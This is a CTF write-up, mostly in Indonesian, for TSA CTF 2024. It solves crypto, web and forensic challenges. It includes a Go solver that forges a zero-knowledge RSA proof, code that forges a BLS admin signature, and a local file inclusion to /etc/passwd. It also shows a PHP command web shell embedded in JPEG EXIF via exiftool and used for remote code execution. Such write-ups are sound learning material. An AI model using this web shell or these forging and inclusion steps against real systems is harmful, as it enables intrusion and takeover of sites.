Berlian Gabriel

TSA CTF 2024

Crypto

zkrsa

PS: This was my first time dabbling in real ZKP stuff, really glad that I got the first blood! A very fruitful learning experience indeed!!

I found the amazing zero-knowledge proof example which demonstrates that you can prove that you know factorization of given RSA modulus without revealing the factors.
Nothing can go wrong with the official example, right?
nc 0.cloud.chals.io 13706

Terdapat kerentanan pada contoh implementasi ZKP RSA dari gnark di https://play.gnark.io/?id=rsa. Permasalahannya terletak pada penggunaan Field Size yang lebih kecil daripada RSA modulus yang dipilih. Hal ini mengakibatkan terjadinya overflow, yang mana seluruh operasi matematika yang terjadi akan di modulo oleh Field Size. Akibatnya, prover dapat memilih p’ dan q’ (yang berbeda dengan p dan q yang asli) asalkan hasil kali p’ dan q’ ekuivalen dengan n mod fieldSize. Karena n tersedia untuk publik dan fieldSize dan dengan mudah dicari nilainya, dan juga karena n mod fieldSize hampir selalu menghasilkan bilangan komposit yang mudah di faktorkan, mendapatkan p’ dan q’ dan lolos verifikasi menjadi trivial.

Berikut adalah skrip yang digunakan untuk menyelesaikan Proof of Work:

import hashlib
import itertools

# Target hash
target_hash = "ca91a7e88bf72726944357e0708edae2d384ce3091f7b01fe789e8b9fa0cc864"

# Generate all possible 6-character hex strings (000000 to ffffff)
hex_chars = '0123456789abcdef'

for candidate in itertools.product(hex_chars, repeat=6):
    candidate_str = ''.join(candidate)
    candidate_hash = hashlib.sha256(candidate_str.encode()).hexdigest()

    if candidate_hash == target_hash:
        print(f"Found match: {candidate_str}")
        break

Berikut adalah interaksi manual dengan server:

Didaptkan RSA Modulus: n=23616729774663799837626113306952932346278820066379183137179434019720364586692087317557593792970765338529743713236923148732700197711219075545528945402020813852243662254151188638543551896021132262748663301121989512886923427067781433270173692348137528909249284681096207319930296433138738305544801657298564999971230523661123459254136517621352644995551803555624090536473000580574617842952674463465974501630452248286978757592831395658040746846866563765761333340402952938518218127774560863211966877040069493611453155712131198254449197054609170107068959972721600370045054135764300948487046208624947451366952483622928032574891

Challenge ini menggunakan kurva BLS12-377, yang memiliki fieldSize=8444461749428370424248824938781546531375899335154063827935233455917409239041 Semua operasi aritmatika dalam sirkuit dilakukan dalam modulo fieldSize.

Dengan melakukan modulo terhadap fieldSize: n mod fieldSize = 2895983124281732224885085646670319702231579455911637541975043558644528600064

Kita dapat dengan mudah memfaktorkan n mod fieldSize menjadi p,q, dimana: p=2 q=1447991562140866112442542823335159851115789727955818770987521779322264300032

Berbekalkan nilai p dan q, kita dapat membuat nilai proof hex string. Pertama, kita perlu melakukan rekonstruksi nilai proof key, yang kita dapatkan bersamaan dengan RSA modulus tadi. Konversi string heksadesimal dari kunci pembuktian kembali menjadi byte. Gunakan API gnark untuk membaca kunci pembuktian dari byte stream. Selanjutnya lakukan kompilasi sirkuit dengan menggunakan definisi sirkuit yang sama dengan challenge, dan fieldSize yang sama juga. Lakukan Instansiasi Witness, lalu gunakan fungsi proof dari gnark untuk menghasilkan proof. Terakhir, serialisasi proof tersebut menjadi hex string untuk siap di submit ke server.

Berikut adalah solver.go yang mengimplementasikan langkah-langkah di atas untuk dapat mengubah nilai p dan q yang sudah kita hitung menjadi proof.

package main
import (
	"bytes"
	"encoding/hex"
	"fmt"
	"math/big"

	"github.com/consensys/gnark-crypto/ecc"
	"github.com/consensys/gnark/backend/groth16"
	"github.com/consensys/gnark/frontend"
	"github.com/consensys/gnark/frontend/cs/r1cs"
)
type Circuit struct {
	P   frontend.Variable // p  --> secret visibility (default)
	Q   frontend.Variable `gnark:"q,secret"` // q  --> secret visibility
	RSA frontend.Variable `gnark:",public"`  // rsa  --> public visibility
}

// taken from official example: https://play.gnark.io/?id=rsa
// so it should be safe
func (circuit *Circuit) Define(api frontend.API) error {
	// ensure we don't accept RSA * 1 == RSA
	api.AssertIsDifferent(circuit.P, 1)
	api.AssertIsDifferent(circuit.Q, 1)

	// compute P * Q and store it in the local variable res.
	rsa := api.Mul(circuit.P, circuit.Q)

	// assert that the statement P * Q == RSA is true.
	api.AssertIsEqual(circuit.RSA, rsa)
	return nil
}

func main() {
	// Get N and pk from the challenge
	NString := "23616729774663799837626113306952932346278820066379183137179434019720364586692087317557593792970765338529743713236923148732700197711219075545528945402020813852243662254151188638543551896021132262748663301121989512886923427067781433270173692348137528909249284681096207319930296433138738305544801657298564999971230523661123459254136517621352644995551803555624090536473000580574617842952674463465974501630452248286978757592831395658040746846866563765761333340402952938518218127774560863211966877040069493611453155712131198254449197054609170107068959972721600370045054135764300948487046208624947451366952483622928032574891"
	pkHexString := "00000000000000040e008c06f3a17c00c88739d6c529c401033fd93f1c000000c78d200000000001000000000000000023ed1347970dec00cf664765b00000018f1a40000000000112ab655e9a2ca5563cc739d6c529c4008a442f991fffffff7af74000000000000000000000000000000000000000000000000000000000000000000000000016028bbc5e5ad78ae8dea4390fc6c1c68bd20b9bdcedd1745d3b8e05d1745d17460180db3decb27681d916e9c01fc24f0303e4df35e24ce58c63e529f81b684fa57265f75bb3f8f619f6bd6af355f8856b79a1645157550970787cacdbceffa12271a1b78cccdd378c1a497953c2c6c689df7e482649a96e02c69ed5222f0e5aced4807389e3501dfc160ed9e2bc28487cfa92bdae62087e05ae1a493198786f386e1c64cc1f5c2adb119fa122c70839b89d0000000480cdd8ff36fbcc149b2de4cb5a27cd029f554ceaf4ea646869edd1593bf66b5aac9ced177e3fefebf181e7f0a596bb1fa04055ddd66efc26b6e43c0103f322cfac2b291891a6d1599ca3ac790dd2f3ba78696bdc27447a1884ed5918a8750e3aa1a0613c0a045df910aea156abc9a445137419086179c68d124ca680fb53401be0dd2b26e642ce1ea2c3974d587e09ec818465c4be8095a73dd1bbc9b6f1083730baf314f4089a3f5e680f8b838ca3db4f28cf5a77a74015c4612608ad44a8a700000004a06c4e72c0f1b991068a31be80c9f79c08045e1b6e9d55aa2e54efe0881752d32e32ef55c67bf6cab7533a193059da0f80cdd8ff36fbcc149b2de4cb5a27cd029f554ceaf4ea646869edd1593bf66b5aac9ced177e3fefebf181e7f0a596bb1fa1a0613c0a045df910aea156abc9a445137419086179c68d124ca680fb53401be0dd2b26e642ce1ea2c3974d587e09eca00c9abb2b722b94cd0c2b5ff365e4801b9aba63b176fe00cd65a4baf89460bb47b7e6aaaa8f9bead748e4c859e4bceb0000000380d5fae772291649109405628f4575a143b03a7f383b8114b2040c864952ad24581565f65bf8b72fa1ee7960fa353d9780236775fd6a60b5d6bc6e62a36d3ab5fe0638142eb7a0d1325c406b28e4b85c30f6b1cc7bda89961b2cfc4bc0486fb6808d8ada57fc1e0871708699a2f6d20d36ce5ba81bf6ee3ed7f70f921fb69ce336798e775e11f601f6bd7e85aceefe4e00000005a15eaefb8338b987ef14e756a99dfda5d939398e54df62cd4dd57b63b83086642770c956b679860e386c3fd920b71b2aa0f4e5d4bdc8191c438f20f8b474e7a745cb1d01c5435d72c30236da0520314752156503888e8f693acd98bf529fa2d98191e909267eeba419d72778dd4fbe1ee5b0b82630d9ca0b2bfda898278a991981c51e93ed0127e13d142164afcdb7ac8089c26e9942a972ff8c46621848a1197cd3acb1e6a52e42ba38103197a7cd8d8ab6f9944a3e32f9d9e4f40f57d9b434817520a978036ed5871a1da85b63b9accd978b63648ada293fb237c1210bad86fd7b4902bdad017660dc76d060ad45fe803d0dfc7c198d95f32b6bec5cdf5b373bb5e963860f165f0e955947dd0468a39107e6a31ed056daf411ad8db0328d1401248d8b1dac80846f4a354ddb6ee86ace4f8b3095c203222cf1778ed81d7424874184202c05447970e1a677f5c01500a084eb88293bb47ffac8f860bff60fbdb1bfc2a7b8fa1cd1083e989835c22aaac4fa2bd922c8a2958c2eca25b5a7a572019f2abac5cca8141c3efbad3bfeb48167b2d087743a8d8ef0b8b494abc3c9119a75630721d64ae0d79eaf055244511700000004818465534decfecdf54fc65a8aefe57c19413dad778b239f53d2678c2eb7118a1f57d55b202679ce601bc8acb8aff8070062b930649be95cf196db8a636dbc3a43deaa01ce210aa62697ab68e9c2b383d9da74be5c08416234302b0000fe0570808683a0bcecf22ce324e8a4f039668de752f525d300589d0778d39afe0467ed96b894e012a33915ac0d4059dcf5ce5e0101f7abdcb9a9d1fa7733e93f6ec379a70f83cae4aad9b501230431777c115cdc33d5458cabdbb2a991167a0682f4bda129dae311fcd8c22d5ab9979480b1dab8a2540765ecb21bb68bd7435007337d70ab2ecc2a27ffad061382ec778bd1ab0014d9cf717a9bc24dd202a3107b504f6e363799932719d509e53d7a3851749c8943a5fb769eee3bd72b10983ebe257a81110663ad5732335051d2a57a4c98361ad9fb27c61585151f8bb9e080b343e4662973919cbe4d4d5e46d11b9d4d517c01638d7bd72421a2a036a1f951a52399007fdde13041748fbdb96b3861e13ea68d0a3ce5a599095e8237a9072c5f3d7d000000000000000700000000000000030000000000000003000100010000010000000001010100000000"

	// Convert N to big.Int
	N := new(big.Int)
	N.SetString(NString, 10)

	q := new(big.Int)
	q, _ = q.SetString("1447991562140866112442542823335159851115789727955818770987521779322264300032", 10)

	// Prepare the witness
	circuit := Circuit{
		P:   2,
		Q:   q,
		RSA: N,
	}

	witness, err := frontend.NewWitness(&circuit, ecc.BLS12_377.ScalarField())
	if err != nil {
		panic(err)
	}

	// Step 8: Reconstruct pk
	pkBytes, _ := hex.DecodeString(pkHexString)
	pk := groth16.NewProvingKey(ecc.BLS12_377)
	_, err = pk.ReadFrom(bytes.NewReader(pkBytes))
	if err != nil {
		panic(err)
	}

	// Step 9: Compile the circuit
	var ckt Circuit
	r1cs, err := frontend.Compile(ecc.BLS12_377.ScalarField(), r1cs.NewBuilder, &ckt)
	if err != nil {
		panic(err)
	}

	// Step 10: Generate the proof
	proof, err := groth16.Prove(r1cs, pk, witness)
	if err != nil {
		panic(err)
	}

	// Step 11: Output the proof
	var proofBuf bytes.Buffer
	proof.WriteTo(&proofBuf)
	proofHex := hex.EncodeToString(proofBuf.Bytes())

	fmt.Println("Generated Proof:", proofHex)
}

FLAG: TSA{small_warmup_and_intro_to_zkp_in_the_wild}

cryptomata

I implemented BLS pairing signature thanks to ChatGPT
nc 0.cloud.chals.io 32571

Terdapat kerantanan pada implementasi BLS buatan ChatGPT. Kerentanan terletak pada implementasi fungsi hash_to_G1 di file bls.py. Secara khusus, fungsi ini:

def hash_to_G1(message: bytes) -> tuple:
    hash_val = int.from_bytes(hashlib.sha256(message).digest(), 'big') % curve_order
    return multiply(G1, hash_val)

Fungsi ini melakukan hash terhadap pesan menjadi skalar hash_val dan kemudian mengalikan generator kurva G1 dengan hash_val. Metode ini tidak aman karena memungkinkan kita untuk melakukan aritmatika skalar pada nilai hash, yang dapat mengarah pada pemalsuan tanda tangan.

Dalam skema tanda tangan BLS, tanda tangan untuk sebuah pesan m adalah σ = sk * H(m). Jika H(m) bersifat linear (seperti dalam implementasi ini), kita dapat memanipulasi tanda tangan dengan memanfaatkan hubungan skalar antar-hasil hash dari pesan yang berbeda.

Proses eksploitasi untuk mendapatkan flag dapat dilakukan sebagai berikut:

Pertama-tama, dapatkan Tanda Tangan yang Valid untuk Username yang Dikenal. Daftar dengan username yang dapat kita kontrol (misalnya, "user"). Simpan tanda tangan (token) untuk “user”. Hitung Skalar k sehingga: H("admin") = k * H("user") mod curve_order Karena H(m) dihitung sebagai hash_val * G1, dan hash_val diketahui, kita dapat menghitung k seperti berikut:

import hashlib
from py_ecc.optimized_bls12_381.optimized_curve import curve_order

def compute_hash_val(message: bytes) -> int:
    hash_val = int.from_bytes(hashlib.sha256(message).digest(), 'big') % curve_order
    return hash_val

h_user = compute_hash_val(b'user')
h_admin = compute_hash_val(b'admin')

def modinv(a, n):
    return pow(a, -1, n)

k = (h_admin * modinv(h_user, curve_order)) % curve_order

Kemudian, Palsukan Tanda Tangan untuk"admin". Kalikan tanda tangan untuk "user" dengan kuntuk mendapatkan tanda tangan untuk“admin”: σ_admin = k * σ_user`.

from py_ecc.fields import optimized_bls12_381_FQ as FQ

def deserialize(token):
    token = bytes.fromhex(token)
    assert len(token) == 96

    x = int.from_bytes(token[:48], 'big')
    y = int.from_bytes(token[48:], 'big')

    return (FQ(x), FQ(y), FQ(1))

sigma_user = deserialize(token_from_step_1)

from py_ecc.optimized_bls12_381 import multiply

sigma_admin = multiply(sigma_user, k)

Selanjutnya, lakukan Serialisasi Tanda Tangan Palsu. Ubah kembali titik tanda tangan palsu menjadi format token ter-serialisasi yang diharapkan oleh tantangan.

def serialize(point):
    from py_ecc.optimized_bls12_381 import normalize
    xy = normalize(point)
    b = int.to_bytes(int(xy[0]), 48, 'big')
    b += int.to_bytes(int(xy[1]), 48, 'big')

    return b.hex()

token_admin = serialize(sigma_admin)

Terakhir, masuk sebagai "admin" Menggunakan Token Palsu. Setelah masuk sebagai “admin”, pilih opsi untuk mengambil flag.

Seluruh langkah tadi dapat dilakukan secara manual seperti screenshot berikut:

FLAG: TSA{proof_that_you_are_smarter_than_AI_3a78250f}

101 - Cryptography

Crypto 101
Author: Fedra

Diberikan sebuah file chall.txt berisikan sebagai berikut:

❯ cat chall.txt
c = 231722077914684998818993776518942509384465803531548983146869754932667754136315007943497593396644630089073196170276638447665765624960333289097324447779290700092664403080584161276778064977902852018557301618273474139777712464709585187730351308079009718870031364399745764326436147001877583703027251271265576350621173
e = 65537
n = 257208938346934642693512128888810986151634836498153528507638790770764504946719195736987613302526116425873247750032929224521429342437621496424825810959518932424007107126934957421561529561264636001476988808843995824395131838577901446930016348590793828420808295335603083382120208905347497068915850813369038886980997

n yang diberikan adalah weak prime yang mana faktor nya dapat ditemukan di factordb: https://factordb.com/index.php?query=257208938346934642693512128888810986151634836498153528507638790770764504946719195736987613302526116425873247750032929224521429342437621496424825810959518932424007107126934957421561529561264636001476988808843995824395131838577901446930016348590793828420808295335603083382120208905347497068915850813369038886980997

Setelah mengetahui nilai p dan q, plaintext dapat didekripsi dengan trivial sebagai berikut:

from Crypto.Util.number import long_to_bytes
c = 231722077914684998818993776518942509384465803531548983146869754932667754136315007943497593396644630089073196170276638447665765624960333289097324447779290700092664403080584161276778064977902852018557301618273474139777712464709585187730351308079009718870031364399745764326436147001877583703027251271265576350621173
e = 65537
n = 257208938346934642693512128888810986151634836498153528507638790770764504946719195736987613302526116425873247750032929224521429342437621496424825810959518932424007107126934957421561529561264636001476988808843995824395131838577901446930016348590793828420808295335603083382120208905347497068915850813369038886980997
p = 2647
q = n//p
phi = (p - 1) * (q - 1)
d = inverse_mod(e,phi)

#decrypting flag
print(long_to_bytes(pow(c,d,n)).decode())

FLAG: TSA{Crypto_101_d5b55ff525198ba6}

zeronium (TBC)

Web

101 - Web Exploitation

Web Hacking 101

URL: https://cyberchampion-web-101.chals.io/
Mirror: http://103.196.154.155:20000/

Author: Fedra

Tahukah kalian bahwa soal ini bisa dikerjakan untuk pertama kali dari awal hingga akhir tanpa menggunakan Burp Suite atau sejenisnya?

Terdapat 2 fitur: PING dan FileUp Setelah dicoba-coba, fitur PING ini rabbit hole. Nah, untuk membantu mengerucutkan ke kesimpulan ini, kita juga perlu terlebih dahulu menyadari bahwa tab PING dan FileUp ini diakses melalui query parameter di URL https://cyberchampion-web-101.chals.io/index.php?page=ping.php

https://cyberchampion-web-101.chals.io/index.php?page=upload.php

Begitu juga dengan tab Home https://cyberchampion-web-101.chals.io/index.php?page=index.php Tentunya ini mencurigakan, dan wajib kita coba test Local File Inclusion (LFI) pada query parameter page tersebut.

Benar saja, terdapat LFI yang bisa membaca isi etc/passwd

https://cyberchampion-web-101.chals.io/index.php?page=../../../../etc/passwd

Nah, karena kita bisa meng-include file, jika kita juga bisa meng-include shell file yang kita sediakan sendiri, maka kita dapat dengan mudah mendapatkan Remote Code Execution (RCE). Artinya, kemungkinan LFI ini ada hubungannya dengan file upload, karena dengan file upload, kita bisa memasukkan shell file ke dalam server, dan tinggal menggunakan LFI tadi untuk ‘memanggil’ file tersebut.

Setelah dicoba-coba, terlihat bahwa fitur upload dapat merespon dengan lokasi hasil upload, terkedang tidak ada respon. Ini menandakan bahwa terdapat ketentuan yang harus dipenuhi, agar upload file berhasil, sehingga didapatkan respon lokasi hasil upload. Berdasarkan pengamat, dapat disimpulkan ketentuannya:

  1. File yang di upload harus berbasis JPEG.
  2. File yang di upload harus memiliki nama unik (nama file yang sama belum pernah di upload sebelumnya)

Kita tahu bahwa web server menggunakan php. Tetapi kita tidak bisa meng upload shell php. Maka dari itu, ide yang bisa di explore adalah dengan meng-upload file JPEG yang telah diinjeksi dengan PHP shell code. Kita dapat melakukan ini dengan exiftool.

Download file JPEG berukuran kecil, misalnya bisa menggunakan ini https://upload.wikimedia.org/wikipedia/commons/3/38/JPEG_example_JPG_RIP_001.jpg. One-liner PHP command berikut dapat diinjeksikan ke field baru DocumentName pada gambar tadi:

<h1><br><?php if(isset(\$_REQUEST['cmd'])){echo '<pre>';\$cmd = (\$_REQUEST['cmd']);system(\$cmd);echo '</pre>';} __halt_compiler();?></h1>
❯ exiftool -DocumentName="<h1><br><?php if(isset(\$_REQUEST['cmd'])){echo '<pre>';\$cmd = (\$_REQUEST['cmd']);system(\$cmd);echo '</pre>';} __halt_compiler();?></h1>" JPEG_example_JPG_RIP_001.jpg
    1 image files updated

❯ exiftool JPEG_example_JPG_RIP_001.jpg
ExifTool Version Number         : 12.76
File Name                       : JPEG_example_JPG_RIP_001.jpg
Directory                       : .
File Size                       : 1759 bytes
File Modification Date/Time     : 2024:11:10 18:36:16+08:00
File Access Date/Time           : 2024:11:10 18:36:17+08:00
File Inode Change Date/Time     : 2024:11:10 18:36:16+08:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Exif Byte Order                 : Big-endian (Motorola, MM)
Document Name                   : <h1><br><?php if(isset($_REQUEST['cmd'])){echo '<pre>';$cmd = ($_REQUEST['cmd']);system($cmd);echo '</pre>';} __halt_compiler();?></h1>
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Y Cb Cr Positioning             : Centered
Image Width                     : 313
Image Height                    : 234
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 313x234
Megapixels                      : 0.073

Sebelum di upload, pastikan ubah nama file image menjadi random, untuk mencegah gagal upload.

❯ mv JPEG_example_JPG_RIP_001.jpg random26143876149.jpg

File JPEG yang sudah dinjeksi dengan PHP shell tadi berhasil di upload.

Selanjutnya, bermodalkan lokasi (path) hasil upload, file JPEG tadi dapat kita load dengan menggunakan LFI. Untuk mengeksekusi command, masukan input kita pada query parameter cmd. Disini kita bisa melihat isi directory /. https://cyberchampion-web-101.chals.io/index.php?page=../uploads/9c8b2254f4cf2c4cff823df5848e8c5c.jpg&cmd=ls /

Akhirnya, kita bisa membaca isi flag. https://cyberchampion-web-101.chals.io/index.php?page=../uploads/9c8b2254f4cf2c4cff823df5848e8c5c.jpg&cmd=cat /flag* FLAG: TSA{Web_Hacking_101_c7319b0bd96f9d01981bbf52ebb7027f}

Forensic

101 - Forensic

Forensic 101

Author: Fedra

Diberikan sebuah pcap file yang dapat dibuka dengan Wireshark sebagai berikut:

Berdasarkan tangkapan paket yang diberikan (packet.pcap) yang berisi paket ICMP, kita dapat menyimpulkan bahwa data sedang ditransmisikan menggunakan ICMP echo requests dan replies. Secara khusus, beberapa paket ICMP mengandung data yang menyerupai bagian dari file PNG. Data yang ada pada echo request dan replies merupakan duplikat dari satu sama lain, sehingga kita hanya perlu mengekstrak salah satu saja untuk setiap pasang echo request-reply. Command berikut dapat digunakan untuk mengekstrak data dari pcap file ke dalam icmp_data.txt, lalu melihat isinya.

❯ tshark -r packet.pcap -T fields -e data -Y 'icmp.type==0 && data' > icmp_data.txt

❯ head -n 16 icmp_data.txt
00000000000000000000000000000000000000000000000000000000000000000000000000000000
89504e470d0a1a0a0000000d4948445289504e470d0a1a0a0000000d4948445289504e470d0a1a0a
00000032000000320802000000915d1f00000032000000320802000000915d1f0000003200000032
e60000007e49444154789cedd7b109c0e60000007e49444154789cedd7b109c0e60000007e494441
201040510d0ee04837b0e06a6e608ab4201040510d0ee04837b0e06a6e608ab4201040510d0ee048
693e3144c27fd555f2f14030cf39d37e693e3144c27fd555f2f14030cf39d37e693e3144c27fd555
8eaf03ee9945984598459845984598458eaf03ee9945984598459845984598458eaf03ee99459845
98459845984598453ccdeabd4744449498459845984598453ccdeabd474444949845984598459845
52aea1b5f63c2baffa90d55ac7184b8e52aea1b5f63c2baffa90d55ac7184b8e52aea1b5f63c2baf
4abf5de24bcc22cc22963d106b6d7a5b4abf5de24bcc22cc22963d106b6d7a5b4abf5de24bcc22cc
66116611661166116611661166116611661166116611661166116611661166116611661166116611
6611270d1e13763e869fb400000000496611270d1e13763e869fb400000000496611270d1e13763e
454e44ae426082000000000000000000454e44ae426082000000000000000000454e44ae42608200
00000000000000000000000000000000000000000000000000000000000000000000000000000000
89504e470d0a1a0a0000000d4948445289504e470d0a1a0a0000000d4948445289504e470d0a1a0a
00000032000000320802000000915d1f00000032000000320802000000915d1f0000003200000032

Terlihat ada beberapa file PNG berbeda, yang batasi oleh baris pemisah berisi 00000000000000000000000000000000000000000000000000000000000000000000000000000000. Terlihat juga terdapat repetisi dalam satu baris. Mari kita mabil contoh baris ke 2: 89504e470d0a1a0a0000000d49484452 -- 89504e470d0a1a0a0000000d49484452 -- 89504e470d0a1a0a Dapat disimpulkan bahwa kita hanya perlu menggunakan 32 karakter pertama dari tiap baris dalam merekonstruksi file PNG.

Skrip berikut akan membaca data heksadesimal dari file icmp_data.txt yang berisi data payload dari paket ICMP. Skrip pertama-tama akan menghapus baris pemisah. Setelah itu, skrip hanya mengambil 32 karakter pertama dari setiap baris data yang tersisa. Data yang sudah difilter kemudian dipecah menjadi beberapa segmen dengan menggunakan header PNG (89504e470d0a1a0a) sebagai pemisah, sehingga setiap segmen dapat diubah menjadi file gambar yang terpisah. Skrip ini akan menambahkan kembali header PNG ke setiap segmen sebelum dikonversi menjadi data biner dan disimpan ke file gambar yang terpisah. Hasilnya, file gambar baru akan dibuat untuk setiap segmen data, dan masing-masing file diberi nama image_1.png, image_2.png, dan seterusnya.

# Read data from icmp_data.txt file
with open('icmp_data.txt', 'r') as file:
    hex_data = file.read()

# Remove delimiter lines before processing the data
lines = hex_data.splitlines()
lines_without_delimiter = [line for line in lines if line.strip() != '00000000000000000000000000000000000000000000000000000000000000000000000000000000']

# Take the first 32 characters from each line
filtered_hex_data = ''.join([line[:32] for line in lines_without_delimiter if line.strip()])

# Split the data into segments to create separate image files
hex_images = filtered_hex_data.split('89504e470d0a1a0a')

# Iterate over each segment and create image files
for i, hex_segment in enumerate(hex_images):
    if hex_segment.strip():  # Ensure the segment is not empty
        # Add the PNG header back to the segment
        hex_segment = '89504e470d0a1a0a' + hex_segment
        # Convert the hex segment to binary data
        binary_data = bytes.fromhex(hex_segment.strip())
        # Create a filename for each image
        filename = f'image_{i + 1}.png'
        # Write the binary data to the file
        with open(filename, 'wb') as image_file:
            image_file.write(binary_data)
        print(f"{filename} has been successfully created.")

Image_1.png tidak dibuat karena berisi segmen kosong. Setiap image yang dihasilkan merepresentasikan satu huruf, seperti yang terlihat di screenshot berikut:

FLAG: TSA{Forensic_101_0d1b25a70976d70f}


Social Media

Thanks for reading! Follow me on Twitter and LinkedIn